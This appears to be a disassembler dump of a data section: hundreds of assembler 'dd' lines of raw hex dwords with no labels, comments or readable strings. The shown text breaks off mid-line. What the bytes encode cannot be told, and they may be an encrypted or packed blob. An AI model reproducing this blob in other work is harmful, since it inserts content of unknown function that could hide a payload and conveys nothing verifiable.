dd 0A2B8FDh, 26E484CFh, 40AA2950h, 0BD4A7474h, 0C3A70AD5h dd 16D6C6A0h, 0C2F92801h, 0E88F4296h, 743E3Dh, 524EF65Dh dd 9CD725D1h, 2C707700h, 68FE5045h, 0EADE0281h, 5F3996A8h dd 0ACA6D9D9h, 18AF3ADEh, 0B6507198h, 8B951D9Dh, 30D946E9h dd 0C63507E8h, 6670EF60h, 0B82A682Eh, 8B6A4A60h, 0C4A80389h dd 465B27F6h, 0FEF7B3F8h, 678CC512h, 81095BF0h, 0ED98C65Fh dd 16077643h, 9C2F5C88h, 0E104802Eh, 5EE903Dh, 0BDEB6C86h dd 0FB6FB0F4h, 524C5071h, 4DC4C078h, 4832C59Ch, 645092C2h dd 0F82700BEh, 0F5F79E3h, 58255A31h, 9DD3790h, 0E8042986h dd 4F4CA87Dh, 3E87AA9Eh, 168D20F5h, 8517B015h, 0C3052C65h dd 2D032E81h, 0AAF1D4BEh, 0DAC08175h, 0BFF41427h, 31743B4Ch dd 90F709DBh, 67BE5A78h, 37B9FA67h, 8F398201h, 81692AFCh dd 81E624F5h, 715E600h, 0BD0908ABh, 0DC2A4F8Dh, 0B52E2960h dd 19ADEE75h, 0DE983181h, 53D33112h, 0B70F5613h, 5FA307C5h dd 59680351h, 0FD60E4E3h, 9531FE38h, 0DA014AB1h, 27855843h dd 648A6701h, 4773601Dh, 53AF0102h, 0C0939CBh, 0DE7E60D9h dd 8B94F903h, 11297D9Dh, 5A1D8DF7h, 50530535h, 769DFBD2h dd 14467CD1h, 90DFD24h, 6BC42815h, 7C2D8379h, 56DC1226h dd 0DEDD2E69h, 0BDF56700h, 8CEDC9EEh, 51E9378Fh, 0B0B5621h dd 85562400h, 3886B28Bh, 0F56E17EFh, 8AC11AEEh, 8B85E379h dd 0EB2381B5h, 0AD17592Ch dd 0D8304E71h, 1800FD76h, 0D40AA620h, 3D2D08B6h, 6F01324Bh dd 83306511h, 0C2334961h, 70BF6620h, 0C88D53EEh, 86058C4Ch dd 0A745CB72h, 0E2F852C9h, 0F142301Ch, 34AD490Fh, 7D47E48Dh dd 0CB3CF6B1h, 426E5Eh, 51D5F790h, 7C1134h, 60521E15h dd 0E18ABEB2h, 0BD053294h, 0F7A62AFDh, 0D814722Dh, 1BC46B85h dd 2EBAFC60h, 0E05C205h, 0CC0EA488h, 2C0B288Dh, 6D5600F1h dd 90610135h, 50F78B05h, 0D5A65E53h, 6E6030F1h, 0F9DD9E20h dd 0F27B2Dh, 0B4249CB6h, 0DA0A84B5h, 0B310B000h, 0DE9610Fh dd 0AF3DB504h, 221E9500h, 0B50593h, 0F0F9966Bh, 108D8529h dd 0D420B081h, 5352D9Dh, 0B75CD71Ah, 46EA00D4h, 0F282BF99h dd 2B0934F3h, 0DA087DB5h, 8525FB3h, 5F12165Eh, 93F35A0Fh dd 93F6A1C5h, 7DF31E0h, 3969E909h, 7EBDE40Fh, 0C009F68Bh dd 1B94D60Fh, 0C099754h, 0E27F298Fh, 0DE5DD6A0h, 0F682A14Fh dd 8D0F0201h, 0CB042189h, 7ABBF1F0h, 1900886Eh, 0DDA27B97h dd 12246B11h, 2D084964h, 0D82B0914h, 0FA70A25Bh, 157E41h dd 88381987h, 0DCD403BEh, 40506926h, 9310C160h, 74A900F3h dd 351E5E40h, 5B05F1E4h, 0AA0EA38h, 420BF7A1h, 0B2C01A88h dd 27209A1Bh, 0F6051C8h, 4D505FEFh, 3A9DFF9Bh, 50AE5B6Bh dd 700B73DAh, 489D708h, 0F9490136h, 1194D26Eh, 918800D4h dd 0B5332F1Ah, 89800805h, 0BF14ABDh, 381DB00Ch, 9801891h dd 99CB7383h, 721EC4A6h, 3A40378Ah, 343C93EBh, 1DD01D2h dd 39C0A36Dh, 66D42020h, 0A122BE12h, 0E8A0AF14h, 4A008C1Ch dd 82E8BF80h, 0F1E2F908h, 0D216746Dh, 23A23E01h, 7BB4071Ah dd 2D0B61E9h, 3F1253Ch, 0CD2DFF8h, 175191DBh, 20127118h dd 0C304D979h, 0AFFC0F69h, 0A0ABB6D3h, 142D8FD0h, 0A907AEB8h dd 58015413h, 29B96010h, 40AF12B5h, 9945C5Ah, 2159BD0Bh dd 0AA6DCA32h, 80790960h, 0CD740BD4h, 0B0D0EFFDh, 56089D20h dd 1F08F58h, 0EA5BD191h, 1FED9A4Dh, 9B2DBF21h, 0E696525Ah dd 88C8F0C9h, 691704AEh, 0E2A5AC8Fh, 0CB491EDAh, 0F12DFE80h dd 0D09C22h, 0BF061A7Eh, 55A6575Bh, 8B2FABB6h, 9B8B4983h dd 21169773h, 108BC91Eh, 2DB1592Dh, 0FBBE7A01h, 3BEC2CA9h dd 77B2CDEBh, 0D3805522h, 522E7A64h, 0EFC8125Fh, 5B3DEC04h dd 1A1824A8h, 8FD70A7Bh, 4D2BED2Dh, 8FB7E0D0h, 150BE72Ah dd 6C4F0CD7h, 0E90A4445h, 0EF88284Eh, 5EF109B7h, 2B54C08Bh dd 0BAA861DCh, 6D3E86F6h, 29DB5A24h, 9E80368Eh, 49742016h dd 4185C71Ch, 0B132E20h, 8B091ECAh, 77130EDDh, 0CE8147ECh dd 780906FBh, 0C282CAh, 9585010Eh, 90B69F13h, 0B73C2A45h dd 256ED7h, 667C2C59h, 2C3ECDC7h, 5227D995h, 0FED4A556h dd 556B0962h, 3E536A5Ch, 29E9103Bh, 0F3BF094Bh, 25582D02h dd 0A85DD6C1h, 712CB8F7h, 467C681Eh, 0D1AD0916h, 0BE81186Eh dd 8F33000Eh, 0FAEC5DD6h, 0C109A416h, 0B7FB8B28h, 0F9848041h dd 640941A6h, 4AD2DB12h, 0BEEE2B03h, 7595D146h, 30F1834h dd 0B531FEBFh, 132E1715h, 8940B08Eh, 962D219Dh, 117C4ACAh dd 0B9BF0205h, 5379151Fh, 5BFA719Ah, 2064C19Fh, 3BC760B2h dd 0C402EAD4h, 0BF18D8Bh, 0E8595703h, 0B0CEEDB8h, 0E3885D7Ah dd 0F18A8F9Eh, 38D5DC99h, 6B6E5F6Bh, 1838007Fh, 0E0C92B55h dd 0F94B395Bh, 610A88h, 0C2E6C3BFh, 550F28Dh, 0BE40941Bh dd 1D51C97Ah, 68F8E901h, 7BF02DAh, 60213245h, 81126D96h dd 0F0FE2660h, 3B973AFDh, 3828B962h, 0BCF1B6F0h, 0AB171CCEh dd 333582Dh, 0EAEE2C01h, 0DE812086h, 9EBD8C0h, 298D2139h dd 99CD3762h, 0DFB1FBE0h, 4CD76587h, 6650F181h, 68F4F081h dd 0DD3700AEh, 2F44A154h, 0A204DEBBh, 8589752Dh, 1D44E189h dd 0BC895B11h, 0CF6300F1h, 69592F1Fh, 852A8B50h, 5B07F0A9h dd 0F01E183h, 0CD9F41A5h, 0F1C7DA80h, 0BC002554h, 1606931h dd 9E1DFD9Dh, 0F717C135h, 0CCBBFD52h, 2000453Ch, 0DEC2F1CDh dd 341EA03Eh, 25F461C7h, 0B8DDEDAFh, 276CA9CBh, 7E7B6Fh dd 0D5A8F051h, 0EC81C50Ch, 952905BBh, 3A60617Fh, 41623FDh dd 0AE658BE6h, 7A342935h, 0BE8011ECh, 743F1A81h, 0E1B58913h dd 3C049B85h, 0C8132801h, 14005E0Bh, 0B8473971h, 313DF268h dd 0B12CD0A3h, 0B078272Ah, 6AEEC11h, 0BD897193h, 0CF824D21h dd 0AD374209h, 958B1782h, 212E5E61h, 0E32A93D5h, 3018E27Ch dd 0FE04A05Eh, 0FA8AB738h, 21677AB8h, 14B6CD8Bh, 8B6FAB87h dd 0EADE5601h, 3074DA96h, 21537982h, 0D3242560h, 41AFD9D8h dd 2D11A1F5h, 2732512Ch, 79A4F88h, 96369B82h, 0D07A0642h dd 566495h, 0B619FD3Fh, 78C72B3Bh, 606A9107h, 32AC6C63h dd 71284C75h, 2C8C15F8h, 180D326h, 16731E9Eh, 0CA42498Bh dd 63997E20h, 3B4929B7h, 547AE8A5h, 2C381546h, 93890F93h dd 7C68F8C4h, 2F6FFCEh, 172CFAE2h, 91C28B67h, 0E4FFC988h dd 0E9574E1Fh, 0F18E6A8Ah, 0CEA700CAh, 12FD0EA0h, 902B5600h dd 48D0B60Ch, 88C8F92Eh, 0FA45E35Ah, 0ABB874B9h, 9666ED01h dd 0F3D5898Eh, 6E4F1D23h, 0DEB200E1h, 6F19A4EEh, 89E612C8h dd 0B50B12FDh, 0B8B67DF6h, 0AB96009Dh, 0CFCC3466h, 54D7208Eh dd 68D4FD50h, 0CE4AD60h, 15B53342h, 91D9356h, 1A5B1D97h dd 7A424E36h, 291002B3h, 0A4FC686Ah, 0B445023Bh, 0F6CB168Bh dd 0CEF2E0A6h, 0E96A1845h, 342D1908h, 0AD730D03h, 31073306h dd 0C7D71DBEh, 0D6592D85h, 37E0A5A6h, 2C093F02h, 4D6155AAh dd 78F0C321h, 80864A80h, 0AAE69B0Bh, 0EB3560D7h, 9D611607h dd 0A96224E9h, 79B8EAh, 307C16C2h, 0AE0522D0h, 0F0E1CA56h dd 43E7FD5h, 0B19D8957h, 41AE721h, 284DB531h, 603815B9h dd 81665380h, 5EA0AEC6h, 64880F27h, 0FBBB17EEh, 0C0460B37h dd 60C2D86Dh, 0FF46DAh, 5740C2Eh, 3E94CBC0h, 68151E00h dd 0D29C04E9h, 32BD5B55h, 0CDCF81Dh, 10158D04h, 12097506h dd 74889570h, 53503119h, 8238B8A2h, 658589BDh, 9F02560Eh dd 0A0129215h, 58565BFCh, 87172022h, 0B5A3BD20h, 0F83725h dd 9A5FECD0h, 4B09B3DCh, 7E52A808h, 3B0F40B1h, 0A3016AD2h dd 0B9B20417h, 30365EF3h, 0A2E03BF2h, 0F97DEA23h, 90F28628h dd 2FE0049Dh, 0F444E804h, 0CB65BF93h, 0E9421F2h, 0A1B8DBE9h dd 0B491BA0Bh, 1D4558E0h, 0AC601971h, 0B95300E2h, 0E6ED47Fh dd 0E861590Ch, 5A897F05h, 0FC9ED395h, 42C58625h, 0C02CEDCCh dd 80BFD5ADh, 0E826F173h, 37A51FD2h, 5E25004Fh, 0D16AB829h dd 531A2D18h, 821211A0h, 9F477CDCh, 81F10AB0h, 3CF6004Bh dd 9E612909h, 4405A0E4h, 89E25E7Ch, 0B0BF9887h, 0F18B5903h dd 0A11282E8h, 0E522870Fh, 40C37C60h, 4914D6E4h, 0C6054A00h dd 8B587E11h, 86D2095h, 0ED926167h, 0CB8A03D8h, 554B58E8h dd 831EE4F0h, 59B9262Ch, 0C05696FCh, 23E86A02h, 3EAD6BD3h dd 0B50137BCh, 70EC3325h, 0A693AE0Bh, 0ED28842Dh, 28FB8CBh dd 95296D2h, 0D2844257h, 0F97ED5D1h, 0A033B86Bh, 8412E5A3h dd 380CD70h, 0D39D5BB5h, 664B9E57h, 38CEC29Bh, 1FB5D180h dd 9C1A65F5h, 426CD67Dh, 0F49AFE8Ch, 0C84E4C00h, 0F0BCAE1Fh dd 4BE835EDh, 6E7BBCA7h, 4D845362h, 0C8B9D6ADh, 0D45A77E0h dd 5807950Ch, 17E833CAh, 6410F569h, 33122ED5h, 0C577D48Dh dd 2560FA0h, 85719E92h, 3AE86D91h, 0AB73E383h, 54E8B5CBh dd 0DF009CBFh, 0EB4DAD58h dd 629181Ch, 8BAEF3A2h, 512D98CFh, 70FBD1Fh, 0E047BCF3h dd 3CB052E9h, 9BE87F13h, 77635C86h, 1C064895h, 0F91B2585h dd 37DE8ECh, 4207F29Ah, 5C10DB56h, 0E8092AD5h, 167C0560h dd 0E84695F4h, 85746075h, 0B109A1B6h, 0A530A20Fh, 0E8FC000Eh dd 4F9D0529h, 807D4004h, 501DFC28h, 0D44A5DBEh, 8505F32Ch dd 76B408A1h, 0F5E82CF9h, 0A37AFC5h, 8F8A7A00h, 0F23A6CC7h dd 21E390E4h, 651A1D05h, 0C6B7776Fh, 8D17A200h, 0B5A4BF5h dd 0E801C180h, 1BD128Bh, 0A0FD530Eh, 118962C7h, 0CD1A2D7Fh dd 85CA9EA0h, 0B5108B47h, 61310CA9h, 1121090Eh, 993D820Fh dd 9E39B902h, 0DDA443DAh, 8D010204h, 0B0ACC935h, 0DC2CD4C2h dd 28A8CD02h, 0DA810FABh, 0B96002A1h, 67E7C819h, 1FD9B383h dd 0E2FC9725h, 0DC62542Eh, 0E97AB600h, 57B10326h, 5B957B09h dd 56F1CA0Ah, 8EE0B779h, 1E9BE327h, 6D8BF8FBh, 4EC5134Dh dd 708ECEFCh, 0E7344F23h, 0A4F0C59Bh, 0FC04431Ch, 9991199Eh dd 0B47269ACh, 62598056h, 727DE0DBh, 1DD5315Eh, 7194C8h dd 20DBA241h, 0AE34B883h, 0C05C0B00h, 4509F078h, 9759716Bh dd 0D65F7588h, 0D7F3754Ah, 1B97085Eh, 0CE043A28h, 8A0FF61Dh dd 16842C89h, 0ACC9D8E9h, 0CEBF076Dh, 52216050h, 31E45CB4h dd 4FBA0566h, 0EC585A77h, 0A156C0BDh, 5993B6h, 0AB5F83D5h dd 3C086FD9h, 80976171h, 77E6816Ah, 635425C1h, 0DAFF1B66h dd 5B4F5D44h, 3DE49921h, 93E41F0h, 0B5958D21h, 0F35B83C2h dd 0F8C21271h, 135D7859h, 887281E6h, 7C009556h, 1363D5B9h dd 4A89FF86h, 80959B1Ah, 21A1FBF6h, 976200BDh, 8D2B249Ah dd 0EDC12FE1h, 8B0F0442h, 1FCCC4Dh, 0E6258311h, 0D7BC70A1h dd 0E7EBB682h, 0E80E7DC1h, 0D25B6E40h, 0B58E04CAh, 0E8E575A6h dd 61592F07h, 4C561AAAh, 2285218Ch, 0B02DAD3Dh, 0C575C1h dd 385D4AF1h, 0E3F6688Ch, 66ACD860h, 0D302B1BEh, 84A5DB4Bh dd 18BB9125h, 1057E91h, 0AA955281h, 44648CE1h, 0E01EA61Ah dd 6D09778h, 7E19B5A3h, 0B7BDADA1h, 1A4B0923h, 2E14E476h dd 0B0B58E98h, 35BD147Ch, 0AC92E40Eh, 0A7A645A2h, 0E28D4D74h dd 87E6D252h, 0B4735E00h, 9EA2824Ah, 920900E7h, 0C80AE239h dd 290AF53Bh, 0E5E95485h, 0EC85DDBFh, 90272775h, 8300F864h dd 8C1043Ch, 49E523CEh, 8EEC57ABh, 668AB702h, 0A5BEBABFh dd 0D3ACFC8Fh, 8D583F80h, 7F009880h, 3AE8C79Bh, 3B6A6D4h dd 3571D8FAh, 0E41040EDh, 1CF82D49h, 8ED4938Ch, 8DEBE6C0h dd 0E0B5A056h, 0DB86A1DBh, 0E40B782Dh, 0D8B112C6h, 62848ABh dd 0D396E0D2h, 69C65B67h, 0C0A2560Bh, 0C9DF939Ch, 0B4F46C38h dd 77B68CFCh, 8621A8E0h, 5DE6C0B5h, 80FD0973h, 0FF181DD1h dd 7FDE0729h, 0AC9E01D3h, 0B65D5080h, 2F099B27h, 70693FE5h dd 0DE1ABCA2h, 25A20148h, 6AB70461h, 3CDF6FAEh, 1A66004Dh dd 0C18146DEh, 0A0DD1A3Eh, 37754E25h, 3EEF01F8h, 60D055C7h dd 2316C899h, 0D2C9E9BDh, 5DF05526h, 2906112Bh, 3A6A9359h dd 9BCF595Ch, 7C732E24h, 7E011D46h, 0FD835327h, 94A9D0B5h dd 819BF47Bh, 97467578h, 1D2197E0h, 63DA2981h, 610C09DCh dd 0E55BC58Ah, 8A20E579h, 256F240Ch, 0FF853C90h, 88E8603Bh dd 5F00B59Ch, 0B4BCD2EDh, 201E281h, 5E43496Dh, 7BEC8E0Fh dd 93DD21FEh, 0FAB6C0D3h, 0AFACB9E0h, 567A5D5Bh, 88132D10h dd 2084D67Ch, 56291D5Bh, 9EA0F676h, 0D758D840h, 29A91057h dd 0B8FC6015h, 6170B707h, 0C1B5C357h, 0A885F34Eh, 988D1BDh dd 379AB080h, 13A480A9h, 0A2513Bh, 5F6317EAh, 0E797DE8Bh dd 6019E4B1h, 3039DCFh, 6646D676h, 6A8A88BBh, 50BF091h dd 33E47C8h, 1DA19FAAh, 0A58059E4h, 0ED5F5502h, 0E9C86E1Ch dd 31A9830Bh, 97A3942Ch, 0F4E457D1h, 0A44E962h, 8D1E0066h dd 0CC306876h, 0EE0A3B8Bh, 8385B361h, 0D242BD0Bh, 84FB5E16h dd 406EBB92h, 0E989AA00h, 815773ABh, 6A68D300h, 605F4A55h dd 4E857A03h, 0F96D4427h, 90610518h, 0FF8BFB0h, 8854DCBFh dd 0E250D75Eh, 49017BA9h, 0DF72AB62h, 0CFC0E35Eh, 0EC2A25F2h dd 2D3855E4h, 8081B807h, 0E0FD647Bh, 1E8A44Fh, 0BE397F1h dd 6D905F73h, 2AB801h, 8B46BCE4h, 9C57D05h, 15209DEAh dd 95E84A31h, 95E9A79h, 5C6A5FF9h, 7724DE39h, 8B0D1838h dd 53F42DAh, 0EC45A091h, 0D316D827h, 8DD1386Ch, 0A626C5DEh dd 48D0F7A2h, 2CA2E72h, 4F4BC92h, 0B3FCD1FFh, 4477D040h dd 0A61400B5h, 0B2605376h, 7504489Dh, 5B34ECD7h, 22556981h dd 90C8304h, 0D61E0D5Fh, 0D8BB5B65h, 921494DFh, 778A1296h dd 0C8026A28h, 0D2B5AAB5h, 5065D3CBh, 0CA00311Fh, 5B85AABh dd 146EBC4Ch, 0B795C780h, 2F75B673h, 8804AC37h, 0F6A81DF2h dd 0DD3E4D7h, 20E396BDh, 379742C7h, 35FC0226h, 9384F88Ah dd 0B6F580D8h, 9BE1399h, 0A0D40C61h, 0DE54C8h, 5DFA7D98h dd 0DDFC58A8h, 656D9B00h, 0F3812344h, 0E460337Bh, 502690E8h dd 1A0B6150h, 789DF3DCh, 35249783h, 0E7095D33h, 0FFDC0745h dd 0FE49829Ah, 6B254067h, 2076D26h, 77229A4Dh, 0D065F170h dd 0CFEA0D01h, 0DC4783BCh, 64115FBDh, 0B14A2589h, 0EA84FBC9h dd 5FA6FE74h, 0F5232AE0h, 29B5890Ch, 0B4FF4919h, 7F00DCFFh dd 0D3F585C0h, 9E0892BEh, 0EA5D40ACh, 68000D93h, 0ED217F1h dd 0E4FE4C5Fh, 98500E4Fh, 45A2BF2Fh, 825D1475h, 29282186h dd 0F77AD88h, 9501595h, 0F40132E9h, 22A58879h, 5111B019h dd 18C033ADh, 814133BFh, 0D20EE072h, 53E10C02h, 6FFA1032h dd 85070148h, 97F59D89h, 0C8B6C0C0h, 34169ABFh, 8588739Eh dd 4046B460h, 8C0CC17h, 51780700h, 70D90241h, 17BA787Eh dd 0AF5760Ah, 8019C176h, 0EB71F636h, 250031C0h, 1FD00377h dd 2D1AE926h, 5F093517h, 0E06B8522h, 0BB81C7DCh, 0C82B4A10h dd 3A381863h, 9425FC00h, 0E5A94220h, 0C7EAC900h, 0EEF5841h dd 0D18B05D2h, 0F14D9589h, 871D2CABh, 0F81E9D2Bh, 27FAB7EDh dd 0EDAB858Bh, 11352782h, 0F2096103h, 818DA9C5h, 0FE8B07AFh dd 884F0AB8h, 65029E21h, 3B632BB7h, 61AD8AD0h, 33F70049h dd 346D198Dh, 0BF174FE9h, 0EDBD2420h, 6B3C0038h, 0D49E51DFh dd 0D0B7F7Ah, 21635A1Ch, 5B61C6AEh, 0BFEA333Ah, 3487FD8h dd 84A2A297h, 0B9A62A21h, 0A528D5BFh, 0DFE4819h, 89F9AF0Bh dd 849F6444h, 415B2340h, 9BB5A187h, 523730DAh, 6A5BF516h dd 0E8F0E4F6h, 4D656156h, 0B2ACFBC8h, 2205F4D0h, 8565C71Eh dd 972FDB6h, 7A07B3B9h, 83F57924h, 0FFCE809h, 0B5AC4680h dd 0EDED006Bh, 39B857h, 5B83F19Ch, 9529DEF2h, 6A55Eh, 0F6B4C02Bh dd 9E2AE1BAh, 35C0C036h, 2E942076h, 650FDh, 0AD0FFFBFh dd 0D160C233h, 0E983D050h, 0F4750F04h, 0D847BA60h, 15F08CADh dd 48A5988Ah, 8AD700B3h, 99F704FAh, 0B01427Ah, 0C8DEC450h dd 6E3B618Fh, 83C4006Bh, 7A625EFCh, 0A2264BFDh, 0A8860129h dd 0E5DD4E9Bh, 0D3880DC4h, 0E319F619h, 0D4F7E09Ah, 2C0D040Eh dd 94F5958Bh, 2DF2C8h, 39EF1924h, 70A865h, 8C3C4B17h, 593F954Ch dd 96DDD904h, 8B818FEBh, 0A3722319h, 0BBDBCB07h, 0E1C2C750h dd 0BCC10318h, 0B6AB7408h, 0B7581925h, 965C0003h, 9F875774h dd 0F5B79Fh, 111D3C4Ah, 775CB72Bh, 1E2910B0h, 806DA04Ah dd 601AE487h, 13E5FF8Bh, 446F01CFh, 9348D76h, 0C1F01AB8h dd 0A4674E28h, 255DAB2h, 21C9DDCh, 77BE1FFh, 7FF0A70h dd 17EFF72Ah, 0A48B21B0h, 191210Fh, 0C22C18Dh, 0F7034E4Dh dd 9EE0A7D6h, 59953199h, 3142985Dh, 37450120h, 36DB2540h dd 0FC12A4F8h, 0EF86100Fh, 85310E02h, 4A4D71Dh, 601F40EDh dd 729C36B1h, 41AAE040h, 5E82C725h, 0A679C5FDh, 50D5E010h dd 10F8002Eh, 0D2CE4960h, 0B9208D01h, 0E180262Ah, 0FBBF0319h dd 0D037C90Ah, 3EA041BBh, 0B074DDF4h, 0B721E276h, 0CD4209CFh dd 2495FE31h, 0D11CE1h, 85336C05h, 87A411FDh, 0FB1CB12Dh dd 450937Bh, 0A1EC467Eh, 61FB20F2h, 0FA8B46A8h, 0BC026804h dd 0B4F2EDD3h, 0B5F87900h, 500897E0h, 81605B71h, 4B47FD40h dd 0F0EE9D12h, 4405D527h, 0C26D18F5h, 0E9FA8A13h, 28D28D90h dd 68B826ADh, 0BE464907h, 73647FAFh, 0A0F20BBh, 0DC024FA8h dd 8B3D5CD6h, 85D9C0F9h, 9B7ED265h, 35B8C03Ah, 9BF795Eh dd 223AE6EBh, 722D72A1h, 2B18C1C7h, 9BC9B5DEh, 7A7933E4h dd 82E10300h, 0DA105207h, 0BE8CBFAEh, 0BD2989C1h, 8505F0E5h dd 60AB0E25h, 1837834Fh, 15FB7A00h, 39A92E03h, 1EFECCFh dd 1E81DA85h, 2F0689F6h, 9512C36Eh, 2F5E29B0h, 0CA814BDAh dd 20BB3F27h, 4BDDE50Ch, 5404468Bh, 44539820h, 0F272434h dd 0CB0EAE81h, 9D3C9887h, 0FF3040A5h, 2EF1B552h, 9908A7F8h dd 4E80832h, 1F03FF87h, 181B6007h, 411C2A9h, 9D17B2E2h dd 0E97F21Bh, 0E0EEB9D7h, 19532515h, 177A003Ch, 615E4895h dd 50E69EB0h, 8BD2B31Bh, 0F8BA3BE3h, 0CB85A6E5h, 0C9390017h dd 4A6FEBB6h, 0F441394Bh, 60AE3B83h, 88E44007h, 1905B7F7h dd 0ED9D0958h, 918DB6A0h, 5BE3AF9Fh, 715009ACh, 0FCB00032h dd 0A86DC4F5h, 0F229C801h, 8E922F4h, 0C43BA611h, 86E27B3Eh dd 0FE5F9724h, 0D7588AA7h, 202FACC8h, 68BB6176h, 52E3094Ah dd 0C19A85C7h, 3D78E2E4h, 9751CA0h, 5920E999h, 18531A9Ah dd 2E0910DBh, 2AD3895Fh, 7540F520h, 7AAD005Fh, 50DA8A3Eh dd 11700C30h, 61954473h, 4CEB1017h, 4C3F000Eh, 20580317h dd 36EBE7DCh, 43E036DDh, 63E19E64h, 2934501Bh, 180C2128h dd 0D0011358h, 0D2991B57h, 0CB6E2EC0h, 2C87F328h, 528309C5h dd 7D857160h, 0A70B0441h, 38CD703Eh, 0E2B7FAECh, 0F12A0B30h dd 28410F7Bh, 0FDD15AE0h, 809B3CBh, 2B88D80h, 0DC2FA510h dd 0B100F437h, 0BF5680EBh, 5F9C5AFEh, 0A492B131h, 98C05F82h dd 729D882h, 0CFEECB62h, 0FA58F0F0h, 2B046AEAh, 0C71C25F4h dd 4FA1ABBh, 1145F682h, 34455AD2h, 9EDB510Fh, 4B4A4E48h dd 8B935751h, 4B48409h, 1DA70E13h, 25952538h, 8EE931D3h dd 395873B8h, 741415C9h, 0D7FD938Bh, 7D0A4AB8h, 0B29026A4h dd 0A9D18509h, 987C39B0h, 5787377Fh, 6E348225h, 0B484878h dd 636DA0CCh, 0A6F012Bh, 86896153h, 837EC2C4h, 0D80D00F4h dd 940BE6DAh, 0FC17C4FEh, 0D3A4E809h, 0DEC90091h, 1E3BDB7Bh dd 0FC014FC8h, 0AF97AD6Ah, 0B629890Fh, 7BF25Bh, 0F0C331B6h dd 88D96Ah, 0CE791F89h, 0DFAAFE82h, 51038601h, 5F5BF33Ah dd 0A1D5752Ch, 524CC7BCh, 835B0FF7h, 0E404F2C2h, 890006D9h dd 61BF2050h, 27165F13h, 0D7C2DF02h, 0CCB7FD13h, 83B40A80h dd 11ACD66Ch, 2E0BE8C2h, 0F6017DB2h, 0DB42AA63h, 682897C0h dd 11D17A60h, 0B52909B8h, 0F3922FF1h, 886F97C9h, 8D2729DCh dd 63B90949h, 59D2125Bh, 4183290Fh, 90E117Dh, 8100E669h dd 4B1BDEC3h, 0F2E9605h, 6041698Ch, 8D6E62B2h, 3E9D31B2h dd 0FF96AEC2h, 270410B7h, 0C3922BC5h, 0C7B7FE1Ch, 8861D00Dh dd 8000E621h, 9C518D3Bh, 14D74FA9h, 683053C6h, 3EF93093h dd 487E5D5Ah, 89333000h, 8B5C4480h, 4190972Bh, 0C10039D3h dd 679E226Bh, 0CD4D8h, 0ABE2E03Ah, 8BED8EF2h, 85F0DA4Ah dd 0DE164A2Dh, 0A0988FCFh, 9CE5BA9Dh, 0D0E80BFDh, 50FF50Ah dd 221013E4h, 337D126h, 969578DBh, 0E06ABBB0h, 80F2504Bh dd 8DDFF700h, 5BE270ADh, 3898B300h, 320ACC81h, 6F964D41h dd 4BF80829h, 6CC07ECDh, 0B39ADh, 8444E861h, 1D9509BBh dd 0D58D31B9h, 0ACF36D19h, 6E5B75FCh, 35C50000h, 0C85101D9h dd 604B0128h, 0A6D78052h, 0CE332059h, 76696155h, 6C93F059h dd 0E69C5F06h, 0ECE70F37h, 0C821EDF1h, 8A2916CDh, 0DD25C6E8h dd 8901C0EDh, 4202810Fh, 0BB2063F2h, 4CE757C3h, 0C527EC3Eh dd 76D63162h, 34904DCh, 0B062D9Dh, 0D1E2FBC6h, 807228CCh dd 0AF8FE2DCh, 6C341846h, 294C52B1h, 0E834E00h, 0C7D98B1Eh dd 2A251485h, 6594A410h, 1C48A3Bh, 3655B52Eh, 0F3F0E983h dd 0D4DB8CFFh, 0C18B19C0h, 0A21DF6BFh, 756C2ABDh, 0C6658F1Dh dd 3AE69D5Dh, 8B609009h, 3D4859F7h, 48F9E53Eh, 2302CE55h dd 0C29E97C6h, 5E937771h, 0B7906A0Bh, 0EF82BD3Dh, 820FCCF1h dd 85EC597Ah, 0DF8023A0h, 5BC8344Ah, 7EA504Ch, 0C99030EFh dd 14516DCEh, 0E41FCD95h, 245AB879h, 6103F31h, 0DE8A900Fh dd 619BB7E7h, 0AD21DB80h, 9F4BF85Eh, 0B0C13FEDh, 5F9A33Ch dd 0E9510330h, 0CC7F8105h, 0C6322B32h, 69C256F8h, 77DF6A00h dd 0F2FD1FFh, 255BC68Fh, 9065B709h, 5523A31Ah, 0E114D837h dd 0F6B500AEh, 85011F32h, 2557B4D9h, 0BD199846h, 95750891h dd 0BAC956Bh, 0B310E822h, 2F1885F2h, 0C23A66AFh, 0FC0EAA59h dd 93B9631h, 23095ADBh, 0CC405654h, 989D42h, 0A0228DF2h dd 0E99C91D2h, 18A65ED2h, 3AC106F0h, 0CB3D437Fh, 7A0E1D5Ch dd 993D781h, 0EA665EBBh, 40298C50h, 914AE921h, 7710B0CEh dd 746B9351h, 0E0997D00h, 0F59ABE0Bh, 0C0397225h, 950DF144h dd 6F009B6Ch, 0B73E5FB0h, 69BD23BAh, 0CA51A7FDh, 0C0084DADh dd 0EBFBF09Ah, 0A81F7200h, 6025558Ah, 999D382Bh, 2969205Eh dd 531661CDh, 95B38B0Fh, 0F08DEF0Bh, 0FA877FD4h, 4A990F50h dd 31C6F2h, 3CEA843h, 71A0D7D9h, 25C4ED06h, 0D636906Ch dd 0E0B4E640h, 90CB39EDh, 7492047h, 51830F28h, 40BABB04h dd 0DB91EE3h, 0B07AB75Bh, 1227DAFBh, 0E09054Fh, 91B4B17Ah dd 0FAF7DF82h, 4C91C5Ch, 8B440293h, 0D71EB8F9h, 5BDE0303h dd 1DA9E46Ah, 0D1BA30B9h, 37084DE6h, 8210E932h, 0F6AA4FC6h dd 0EEEC98E0h, 2B01AFECh, 0CB71D67Bh, 65F401D7h, 2F78B90Ah dd 37D744CAh, 0E6E612C7h, 0B8302213h, 0B00D40A3h, 0FEC681BDh dd 62D070E6h, 69B70142h, 9D2971E4h, 0A28B544Dh, 8EFD00D2h dd 7841E7E6h, 1624977Bh, 0B5094102h, 400D23E1h, 3055FAE4h dd 0D0F3574Eh, 205BD0Ch, 0DB58B729h, 9D0B1C8Ah, 0B6B42FD2h dd 21392585h, 0D22D2BF9h, 21B98Fh, 40E0A835h, 523E2E0Ah dd 0E1970171h, 5BB36C0Eh, 0CC13142Eh, 132E4510h, 0EC04C82Bh dd 3B84169h, 8AB57E7Eh, 89D90A99h, 4C20A17Eh, 15CD00E4h dd 0A058FC65h, 6300D328h, 24F2E71h, 4B098C67h, 485D9h dd 0CB0CC33Dh, 0DE318060h, 61F1E614h, 924B20B8h, 0B3211505h dd 7F706062h, 610B4029h, 9757E929h, 4BAB6995h, 6460CAA3h dd 3ED140CCh, 3CF69195h, 8006BC14h, 0C9F1C2A2h, 59D1017Eh dd 0EF46A8EBh, 1658F06Ch, 74682A0Bh, 0C1B302B1h, 835B0132h dd 0FE3442A5h, 12211A40h, 266F8981h, 0EB12E803h, 11E601FAh dd 13E4260Bh, 